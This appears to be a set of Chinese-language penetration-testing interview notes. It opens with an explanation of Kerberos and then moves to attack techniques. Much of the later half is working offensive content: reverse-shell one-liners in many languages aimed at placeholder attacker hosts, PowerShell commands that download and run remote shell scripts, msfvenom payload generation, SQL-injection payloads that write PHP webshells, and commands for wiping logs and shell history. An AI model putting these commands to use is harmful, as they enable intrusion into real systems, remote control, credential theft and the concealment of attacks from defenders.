首先,我们来看看客户端如何获得“认购权证”。这里的认购权证有个专有的名称——TGT(Ticket Granting Ticket),而TGT的是KDC一个重要的服务——认证服务(KAS:Kerberos Authentication Service)。当某个用户通过输入域帐号和密码试图登录某台主机的时候,本机的Kerberos服务会向KDC的认证服务发送一个认证请求。该请求主要包括两部分内容,明文形式的用户名和经过加密的用于证明访问者身份的Authenticator(就是client ntlm hash加密的时间戳,client id,网络地址,加密类型)。
当KDC接收到请求之后,通过AD获取该用户的信息。通过获取的密码信息生成一个秘钥对Authenticator进行解密。如果解密后的内容和已知的内容一致,则证明请求着提供的密码正确,即确定了登录者的真实身份。
KAS成功认证对方的身份之后,会先生成一个用于确保该用户和KDC之间通信安全的会话秘钥——Logon Session Key,并采用该用户密码派生的秘钥(ntlm hash)进行加密。KAS接着为该用户创建“认购权证”——TGT。TGT主要包含两方面的内容:用户相关信息和Logon Session Key,而整个TGT则通过KDC自己的密钥进行加密。最终,被ntlm hash密钥加密的Logon Session Key和TGT返回给客户端(返回了两个内容)。(以上的内容对应流程图中的步骤1、2)
Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容,返回:Msg A 使用[Client密钥]加密的[Client/TGS SessionKey],Msg B 使用[TGS密钥]加密的TGT(Ticket-Granting-Ticket),因此该消息Client不可解析。
TGT中包含如下信息:[Client/TGS SessionKey],Client ID,Ticket有效时间,Client网络地址
如何通过“认购权证”购买“入场券”?
经过上面的步骤,客户端获取了购买进入同域中其他主机入场券的“认购凭证”——TGT,以及Logon Session Key,它会在本地缓存此TGT和Logon Session Key。如果现在它需要访问某台服务器的资源,它就需要凭借这张TGT向KDC购买相应的入场券。这里的入场券也有一个专有的名称——服务票据(ST:Service Ticket)。
具体来说,ST是通过KDC的另一个服务TGS(Ticket Granting Service)出售的。客户端先向TGS发送一个ST购买请求,该请求主要包含如下的内容:客户端用户名;通过Logon Session Key加密的Authenticator;TGT和访问的服务器(其实是服务)名。
TGS接收到请求之后,现通过自己的密钥解密TGT并获取Logon Session Key,然后通过Logon Session Key解密Authenticator,进而验证了对方的真实身份。
TGS存在的一个根本的目有两点:其一是避免让用户的密码客户端和KDC之间频繁传输而被窃取。其二是因为密码属于Long Term Key(我们一般不会频繁的更新自己的密码),让它作为加密密钥的安全系数肯定小于一个频繁变换得密钥(Short Term Key)。而这个Short Term Key就是Logon Session Key,它确保了客户端和KDC之间的通信安全。
TGS完成对客户端的认证之后,会生成一个用于确保客户端-服务器之间通信安全的会话秘钥——Service Session Key,该会话秘钥通过Logon Session Key进行加密。然后出售给客户端需要的入场券——ST。ST主要包含两方面的内容:客户端用户信息和Service Session Key,整个ST通过服务器密码派生的秘钥进行加密。最终两个被加密的Service Session Key和ST回复给客户端。(以上的内容对应流程图中的步骤3、4)
- KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
凭票入场
客户端接收到TGS回复后,通过缓存的Logon Session Key解密获取Service Session Key。同时它也得到了进入服务器的入场券——ST。那么它在进行服务访问的时候就可以借助这张ST凭票入场了。该Serivce Session Key和ST会被客户端缓存。
但是,服务端在接收到ST之后,如何确保它是通过TGS购买,而不是自己伪造的呢?这很好办,不要忘了ST是通过自己密码派生的秘钥进行加密的。具体的操作过程是这样的,除了ST之外,服务请求还附加一份通过Service Session Key加密的Authenticator。服务器在接收到请求之后,先通过自己密码派生的秘钥解密ST,并从中提取Service Session Key。然后通过提取出来的Service Session Key解密Authenticator,进而验证了客户端的真实身份。
实际上,到目前为止,服务端已经完成了对客户端的验证,但是,整个认证过程还没有结束。谈到认证,很多人都认为只是服务器对客户端的认证,实际上在大部分场合,我们需要的是双向验证(Mutual Authentication)——访问者和被访问者互相验证对方的身份。现在服务器已经可以确保客户端是它所声称的那么用户,客户端还没有确认它所访问的不是一个钓鱼服务呢。
为了解决客户端对服务器的验证,服务要需要将解密后的Authenticator再次用Service Session Key进行加密,并发挥给客户端。客户端再用缓存的Service Session Key进行解密,如果和之前的内容完全一样,则可以证明自己正在访问的服务器和自己拥有相同的Service Session Key,而这个会话秘钥不为外人知晓(以上的内容对应流程图中的步骤5、6)
什么是中间人攻击MITM
防御:
(1)建设PKI,双向认证,即客户端验证服务器,服务器验证客户端
(2)延迟测试,判断通信时间是否为正常通信时常
(3)更换其他密钥
公司网络安全具体指什么
1)基础网络安全(网络区域划分)
终端安全:防病毒,非法入侵,共享资源控制
内网安全:访问控制,网络阻塞,病毒检测
外网安全:非法入侵,病毒检测,流量控制,外网访问控制
2)系统安全(系统层次划分)
硬件系统级安全:门禁控制,机房设备监控,防火监控,电源监控,设备运行监控
操作系统级安全:系统登录安全,系统资源安全,存储安全,服务安全
应用系统层安全:登录控制,操作权限控制
3)数据,应用安全(信息对象划分):
本地数据安全:本地文件,本地程序
服务器数据安全:数据库安全,服务器文件安全,服务器应用系统,服务器程序安全
网页挂马几种类型
- 用xss-iframe,覆在页面表面,点击则下载
- js调用,也属于xss一种
- 图片伪造挂马,xss
- 钓鱼
- 通过dns投毒配合挂马
cookie和session区别
- 前者保存在客户端,session在服务器
- 前者最大是4k(如果存在sql注入但是长度被限制),后者受当前内存限制
- 存储类型:前者只能说字符串,后者是object类型
http长连接和短链接
在http/1.0中默认使用短连接,建立一次完成中断;而从http/1.1使用长连接,保持连接特性
条件竞争漏洞原理和举例
文件上传完成和安全检查完成时到删除它的间隙,攻击者不断请求访问该文件就会执行拿到webshell
web短信重置密码可能存在哪几种绕过方式
- 爆破验证码(4位10000种,对方未对验证码输入次数限制)
- 验证码显示在回显包
- 注册手机号,用户名和验证码未进行匹配验证(比如用a号收到验证码后,把输入框改成b号)
- 在本地客户端验证(前端)
- 登录成功修改密码可能水平越权
- 未校验身份验证信息的唯一标识cookie
- 验证码复用(未及时销毁验证码)
如何突破sql注入时字符被转义
宽字节注入,二次注入,各种编码混淆......见sqlwiki
目标站点禁止注册用户,找回密码显示该用户不存在,有什么思路
- 可以爆破枚举爆出存在的用户名,然后再爆破密码
- 和数据库有交互的地方就有sql注入
SQL注入的防护
- 白名单
- 对特定字符进行过滤,转义,替换
- 规范编码,字符集
- 前端过滤:禁止输入有关sql注入的字符、字符串
代码执行,命令执行,文件读取的函数都有哪些
1)代码执行:eval,assert,preg_replace,all_user_func,call_user_func_array,array_map,array_filter,create_function
2)命令执行:system,exec,shell_exec,popen,passthru,proc_open,pcntl_exec
3)文件读取:file_get_contents,readfile,highlight_file,fopen,fread,fgetss,fgets,show_source,file,parse_ini_file
宽字节注入原理
sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用
%df,%a1
在php中使用addslashs,stripslashes,mysql_real_escape_string,魔术引号(magic_quote_gpc)等在'\前加上/转义时,如果我们输入%df%27时会变成%df%5c%27,而后面的%df%5c会被解析成一个字符,从而让单引号逃逸
产生原因:客户端和连接层的字符集不一样,最好都设置成utf-8
mysql5.0版本以上和以下区别
- information_schema这个默认表5.0之后才有,5.0以下只能爆破
- 5.0以下是多用户单操作,5.0以上是多用户多操作
sql注入点有哪些
get注入,post注入,cookie注入,ua注入,xff注入,dns注入
发现xxx.com?id=110思路
有写入权限可以写入,然后用sqlmap -os-shell
或者sql注入得到账号密码登录后台,再在后台上传shell
owasp都有哪些
见2021 owasp top 10文章
假设服务器开放21,80,445,3306,11211端口有什么渗透思路
21是ftp服务,可以尝试暴力破解,或者匿名登陆,或者ms12-073攻击
FTP的匿名登录一般有三种: 1、 用户名:anonymous 密码:Email或者为空 2、 用户名:FTP 密码:FTP或者为空 3、 用户名:USER 密码:pass
80是web服务,正常进行信息收集,判断中间件,cms,后端语言,数据库等然后进行测试
445是SMB服务(文件共享),可以尝试MS08-067,MS17-010,ipc$攻击
3306是mysql服务,可以爆破,也可以用mysql写入webshell,然后添加vbs到启动项,开放3389和添加账号
11211是memcached服务,默认情况下不存在未授权访问,可以用telnet ip来获得服务器敏感信息
假设服务器开放22,8088,8161,6379端口有什么渗透思路
22是ssh服务,可以爆破
8088是Hadoop YARN 资源管理系统 REST API未授权访问
6379是redis服务,可以暴力破解,配置不当可存在未授权访问,通过连接redis可实现写入webshell,写入crontab计划任务反弹shell,以及写入ssh公钥获取操作系统权限
渗透思路流程
(1)信息收集:见文章
(2)漏洞挖掘:
- 浏览网站确定网站规模功能特点
- 注意常见端口对应服务可能存在的漏洞,比如rsync-873端口,心脏滴血(openssl)-8443端口等
- web漏洞+漏扫、或者直接钓鱼进入内网
(3)漏洞利用&权限提升
(4)进入内网,横向移动,权限维持
(5)痕迹清除,输出报告
入侵linux后要清除哪些记录
1)web日志,比如apache和nginx的access.log,error.log,宝塔日志
用sed定向清除 sed -i -e '/192.169.1.1/d'
2)history历史命令记录
查看历史操作命令:history
history记录文件:more ~/.bash_history
编辑history记录文件,删除部分不想被保存的历史命令。
vim ~/.bash_history
清除当前用户的history命令记录
history -c
3)wtmp日志清除
/var/log/wtmp
是一个二进制文件, 记录了每个用户的登录次数和登录时间
4)登录日志清除:/var/log/secure
windows,linux反弹shell方式
win:powershell反弹shell,powercat反弹shell
linux:php,python,wget,netcat,bash反弹shell
子域名搜集方式
js文件,搜索引擎(fofa,google语法),证书查询,crossdomain.xml文件,dns记录,枚举爆破,域传送漏洞,ip反查域名
oneforall(子域名搜集工具)搜索原理
证书透明度,网上爬虫档案,dns数据集,dns查询,威胁情报平台数据,搜索引擎
渗透过程中搜集目标站注册人邮箱对我们有什么价值
- 丢社工库,反复查询收集更多信息
- 邮箱丢进搜索引擎
- icp备案查询
- 观察管理员逛哪些非大众网站,拿下他得到信息
- 整合信息生成字典
nmap参数和不同方式优缺点
-sT TCP全扫,准确,但留下大量日志
-sS TCP-SYN 半扫,速度快,不留下日志
-sN null扫,标识位全为0,不适合windows
-sF fin扫,标识位fin=1,不适合windows
-O 查询目标主机版本
-sV 探测服务版本
-A 全面扫描
简述windows和linux平台提权方法
- windows没打补丁版本编号,linux系统内核提权,uname-r查看系统内核版本,直接上msf找exp
- windows下还有其他提权方式,在权限提升文章中
msf的模块和作用
linux中查询系统日志方法
登录日志last
操作日志history
启动信息和错误日志 var/log/message;
安全日志 var/log/secure;
邮件日志 var/log/mailog;
计划任务日志 var/log/cron;
用户登录注销系统启动等日志 var/log/wtmp;
一个成熟,安全的CMS,扫目录意义
扫敏感文件,二级目录扫描
敏感信息泄露
dedecms任意密码重置漏洞
DeDecms是使用用户最多的PHP类cms系统,此次该CMS的任意密码重置漏洞通过遍历UID的方式获取返回的静态gourl跳转地址,而CMS未对更改密码的跳转地址进行参数隐藏导致更改密码的临时密码被泄露,泄露以后构造URL传入临时密码可以不需要任何验证即可更改任意用户密码。
dedecms任意密码重置漏洞的修复方案
手机验证设置6位,且数字字母组合
验证码限制次数
验证码时间验证
joomla CMS是什么
常见的网站服务器容器
iis,apache,nginx,tomcat,lighttpd
msf用法
msfconsole,search xxx,use xxx,show options,set rhost、rport,lhost,lport,run
制作反弹shell文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=2x.94.50.153 LPORT=4433 -f exe -o 4433.exe
监听端口
msfconsle
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 2xx.94.50.153
msf5 exploit(multi/handler) > set LPORT 4433
msf5 exploit(multi/handler) > run
如何检查iis短文件名漏洞
1:iis_shortname_scan.py脚本检测
python IIS_shortname_Scan.py http://www.target.com/
2:nmap -p 80 --script http-iis-short-name-brute 192.168.0.1/24
tomcat漏洞利用
Tomcat后台弱口令上传war包,tomcat管理弱口令页面getshell。
Tomcat的PUT的上传漏洞(CVE-2017-12615) ,tomcat put方法任意文件上传CVE-2017-12615。
Tomcat反序列化漏洞(CVE-2016-8735) ,tomcat反序列化漏洞CVE-2016-8735。
Tomcat 样例目录session操控漏洞,Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞。
Tomcat本地提权漏洞(CVE-2016-1240),Tomcat本地提权漏洞分析与防御。
weblogic默认密码
weblogic/weblogic
weblogic的CVE-2019-2725漏洞描述和修复方案
https://blog.csdn.net/weixin_41598660/article/details/111247208
struct2反序列化漏洞
https://blog.csdn.net/wsnbbz/article/details/104653004/
常见配置文件路径
https://blog.csdn.net/qq_42404383/article/details/113748581
zookeeper默认端口
zookeeper主要作用
zookeeper的未授权访问
修复方案
如何检测mongodb未授权访问漏洞
redis未授权访问
hadoop...
注入漏洞可以干什么?
查账号密码,脱裤,写入webshell(权限够),os-shell
安全狗会最终变量从而发现一句话吗?
安全狗是根据特征码,好绕,变量覆盖配合各种编码可绕过
access扫出来后缀为asp的数据库文件,访问乱码,如何利用
下载下来后改后缀是mdb,这是access数据库后缀名,这题ctf里面见到过
提取时选择可读写目录,为何尽量不带空格目录
exp执行时需要空格界定参数
某服务器有站点a,b,为何a上添加新用户后,b上也可看见
同数据库,且若同时操作,在mysql5.0以上可同步进行
如果在sql注入时,被拦截,且返回诸如:已记录您的ip:xxx,时间xxx,test.php?id=11提交and 1=1,那么怎么利用
直接写一句话到url,ip里,因为我们的访问被被对方保存进数据库文件,或者日志,然后找到它,访问它执行
上传马后乱码,怎么办
改浏览器编码方式
审查上传点意义
文件上传时可能有前端验证;XSS时会有前端输入过滤和输出过滤,输入我们是可以控制的;
在拿到shell后,如何利用xss长久控制
在登陆处写js,记录登陆成功输入的账号密码,并发送到指定服务器上
审查元素得知网站所使用的waf,怎么做到
比如护卫神在审查元素能找到hws
sql注入时,id=1+1和id=1-1区别
前者的+在url编码时代表空格,可能造成混淆
延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
img标签中的src图片加载失败,原来的图片位置会出现一个碎片图标
可以远程指定js,读取referer
如何绕过waf注入和上传以及xss
(1)关键字可以用%(只限定IIS系列),比如select可以sel%e%ct,原理在url解码时不变,但是进入asp.dll时对此url解码成select,在对asp文件后参数串进行url解码时会直接过滤掉09-0d(09是tab,0d是回车),20(空格),%(后两个字符有一个不是十六进制),xss同理
(2)内联注释,安全狗不拦截,比如/!select/,/ */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
(3)(二次)编码
(4)伪造搜索引擎,早期安全狗有这个漏洞
(5)插入关键目录admin,dede,install,360webscan对此不拦截
(6)multipart请求绕过,在post请求中添加一个上传文件,绕过绝大多数waf
(7)mysql,%0a代替空格绕过,此法过大多WAF和防火墙,或者是/**/
%09 TAB 键(水平) %0a 新建一行 %0c 新的一页 %0d return 功能 %0b TAB 键(垂直) %a0 空格
(8)文件上传时复制文件包一份再加一份,再form-data;后面增加一定字符
既然宽字节注入可以绕过单引号过滤,那么怎么来修复呢?
就是在初始化连接和字符集之后,使用 SET character_set_client=binary 来设定客户端的字符集是二进制的。修改Windows 下的 MySQL 配置文件一般是 my.ini,Linux 下的 MySQL 配置文件一般是 my.cnf character_set_client 指定的是 SQL 语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了
列举出 oracle 注入获取管理员权限提权典型漏洞?
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
如何利用php的远程命令函数进行反弹nc?
正向反弹shell和反向反弹shell
正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell;kali上再进行nc监听,正向反弹是目标机先执行nc命令,即可反弹shell
bash
在攻击主机上执行端口监听:
nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用
在目标主机上执行:
bash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号
解释:
bash -i 打开一个交互的bash
>& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
/dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
其他版本
exec 5<>/dev/tcp/x.x.x.x/9999
cat <&5 | while read line; do $line 2>&5 >&5; done
第一条命令 建立与x.x.x.x:9999的tcp连接,并将标准输入输出作为device 5的标准输入输出
第二条cat <&5 获取device5的输入; while read line; do $line 2>&5 >&5 一旦获取到命令便运行 然后将标准输入输出以及标准错误输出到device5中
nc(netcat)反弹(常用)
在攻击主机上执行端口监听:
nc -lvvp port //port 为攻击主机端口号,并且此端口号没有被占用
在目标主机上执行:
nc -e /bin/bash 攻击主机ip port
还可以在目标主机上这样执行
nc x.x.x.x 1234|/bin/bash|nc x.x.x.x 4321 //在攻击主机上打开两个终端,分别监听 1234 和 4321 端口,得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果
由于现在很多主机上可能没有netcat了,所以如果遇到虽然有netcat 但不支持 nc -e /bin/bash 攻击主机ip port
中 -e
选项的主机,还可以这样反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
rm /tmp/f
删除命令mkfifo /tmp/f;
在tmp目录下写fifo文件f/bin/sh -i 2>&1
将/bin/sh 的标准错误重定向到标准输出nc x.x.x.x 2333 >/tmp/f
将nc监听到的输入 输入到fifo
telnet反弹
在攻击主机上打开两个终端分别监听 1234 和 4321端口,(确保端口开放,并且不被占用),得到反弹shell后,1234 终端 输入命令, 4321 终端就会获得执行相应命令后的结果:
nc -lvvp 1234
nc -lvvp 4321
在目标主机上执行:
telnet 攻击主机ip 1234 | /bin/bash | telnet 攻击主机ip 4321
powershell反弹
powershell反弹cmd 被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.1.4 -p 9999 -e cmd
powershell反弹powershell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
dll反弹
https://pan.baidu.com/share/init?surl=oO8k4VYHf6CmW-WcDAH4SA 密码:ylv3
regsvr32 /s /u server.dll
脚本反弹
反弹 shell 失败,导致失败的因素很多,经验来看,常见如下几类:反弹命令不存在、禁止出口流量、限定向外访问端口、流量审查。
首先在linux上搜索这些语言是否安装
whereis nc bash python php exec
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl
# 方法一
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# 方法二
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
PHP
system,exec,shell_exec,paassthru,popen,proc_popen
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
Java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"
AWK 反弹
攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
文件包含漏洞可以用来做啥,以及需要主要注意的事项?
- 配合文件上传漏洞 GetShell,可以执行任意脚本代码,读取网站源码文件以及配置文件泄露,远程包含 GetShell
- allow_url_fopen 和 allow_url_include 为 ON 的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞
- /etc/passwd • 需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
cookie 存在哪里?可以打开吗?
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
注射式攻击简介?
1)IP 欺骗 2)预测 TCP 序列号。 如果是 UDP 协议,只需伪造 IP 地址,然后发送过去就可以了,因为 UDP 没有所谓的 TCP 三次握手,但基于 UDP 的应用协议有流控机制,所以也要做一些额外的工作。对于 IP 欺骗,有两种情需要用到: 1)隐藏自己的 IP 地址; 2)利用两台机器之间的信任关系实施入侵。
localStorage 和 sessionStorage 区别?
localStorage 和 sessionStorage 一样都是用来存储客户端临时信息的对象。他们均只能存储字符串类型的对象(虽然规范中可以存储其他原生类型的对象,但是目前为止没有浏览器对其进行实现)。localStorage 生命周期是永久,这意味着除非用户显示在浏览器提供的 UI 上清除 localStorage 信息,否则这些信息将永远存在。 sessionStorage 生命周期为当前窗口或标签页,一旦窗口或标签页被永久关闭了,那么所有通过 sessionStorage 存储的数据也就被清空了。不同浏览器无法共享 localStorage 或 sessionStorage 中的信息。相同浏览器的不同页面间可以共享相同的 localStorage(页面属于相同域名和端口),但是不同页面或标签页间无法共享 sessionStorage 的信息。这里需要注意的是,页面及标 签页仅指顶级窗口,如果一个标签页包含多个 iframe 标签且他们属于同源页面,那么他们之间是可以共享 sessionStorage 的。
什么是 WebShell?
WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的─种命令执行环境
如何防止 DLL 劫持
DLL 劫持利用系统未知 DLL 的搜索路径方式,使得程序加载当前目录下的系统
同名 DLL。所以可以告诉系统 DLL 的位置,改变加载系统 DLL 的顺序不是当前
目录,而是直接到系统目录下查找。
如果给你一个 XSS 盲打漏洞,但是返回来的信息显示,他的后台是在内网,并且只能使用内网访问,那么你怎么利用这个 XSS?
必须是 self xss + csrf +ssrf 到 getshell
SQL注入写入webshell
所有常用的关系数据库管理系统中均包含内置的向服务器文件系统写文件的功能
A、MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,MySQL服务会禁止导入和导出操作。通过命令查看secure-file-priv`的当前值,确认是否允许导入导出以及到处文件路径。
show variables like ‘%secure_file_priv%’;
B、MySQL中root 用户拥有所有权限,但写入Webshell并不需要一定是root用户权限,比如数据库用户只要拥有FILE权限就可以执行 select into outfile操作。
C、当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。
Union select 写入
into outfile / into dumpfile写文件
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
利用分隔符写入
注入点为盲注或报错,可以通过分隔符写入
具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --
?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
利用log写入
新版本的MySQL
设置了导出文件的路径,很难在获取Webshell
过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL
的log
文件来获取Webshell
。
具体权限要求:数据库用户需具备Super
和File
服务器权限、获取物理路径。
show variables like '%general%'; #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>' #写入shell
set global general_log=off; #关闭general log模式
其他:load_file读文件
load_file()读文件
http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\flag.txt'),3 --+
1.路径使用\ ,否则会被当作转义符号 2.路径使用/ 3.盘符根路径下可用c:admin.txt 4.16进制文件名 5.char(路径ascii)
GPC是什么?开启了怎么绕过
这里的gpc应该是指php的魔术引号,当打开时,所有的'(单引号),"(双引号),\(反斜线)和 NULL字符都会被自动加上一个反斜线进行转义。这和 addslashes()作用完全相同。 魔术引号通常指3个:
magic_quotes_gpc 在php.ini配置中打开或者关闭, 影响到HTTP请求数据(GET,POST 和 COOKIE)。不能在运行时改变
magic_quotes_runtime
magic_quotes_sybase:如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义
绕过方式:宽字节注入,二次注入
在’前面添加一个%df,或者是�
Mysql一个@和两个@什么区别
@x 是 用户自定义的变量 (User variables are written as @var_name)
@@x 是 global或session变量 (@@global @@session )
iIIS解析漏洞,不同版本有什么漏洞,还有什么容器解析漏洞
IIS 6.0解析漏洞
1、目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2、文件解析
.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 .asp文件执行。
文件解析通常配合文件上传,IIS6.0 默认的可执行文件除了asp还包含这三种 .asa .cer *.cdx。
IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞
php的%00截断原理
因为c语言中是以%00结束的,而php是用c语言写的,所以判断为%00是结束符号不会往后继续执行
mysql默认密码位置,加密方式
默认密码存在user.MYD,密码采用sha1加密
windows,linux,数据库的加固降权思路
禁用root(最小权限原则),禁止远程访问(比如3389,22,23,21等别放在公网上),禁止写入(禁止文件读写,比如sql读写文件),单独账号(避免全部沦陷),禁止执行system函数(命令执行相关敏感函数)
域控的特征
先net time /domain,nslookup xxx,定位域控
域控由于默认是dns服务器所以开放53端口,由于存在Kerberos协议所以开放88端口,此外主机名可能是DC,DC-control,xx.com(根域名)
为什么aspx木马权限比asp大?
aspx使用的是.net技术,iis默认不支持,asp只是脚本语言,入侵的时候asp木马一般是guest权限,aspx的木马一般是users权限
其他冷门组件/中间件漏洞(之前未了解过的)
CouchDB(5984),http://xxx:5984/_utils/
weblogic(7001,7002),默认账号和密码都是weblogic,存在反序列化漏洞_async/AsyncResponseService,在该处存在命令执行,下载webshell
elasticsearch(9200,9300)存在命令执行
memcache(11211),存在未授权访问,不需要密码即可登录,telnet ip 11211,stats //查看memcache服务
mongodb(27017),存在未授权,由于3.0版本以前MongoDB服务启用后监听地址为0.0.0.0,导致无需授权远程访问数据库
sap命令执行(50000)
hadoop默认端口未授权访问(50070)
zebra路由,默认密码zebra(2601,2604)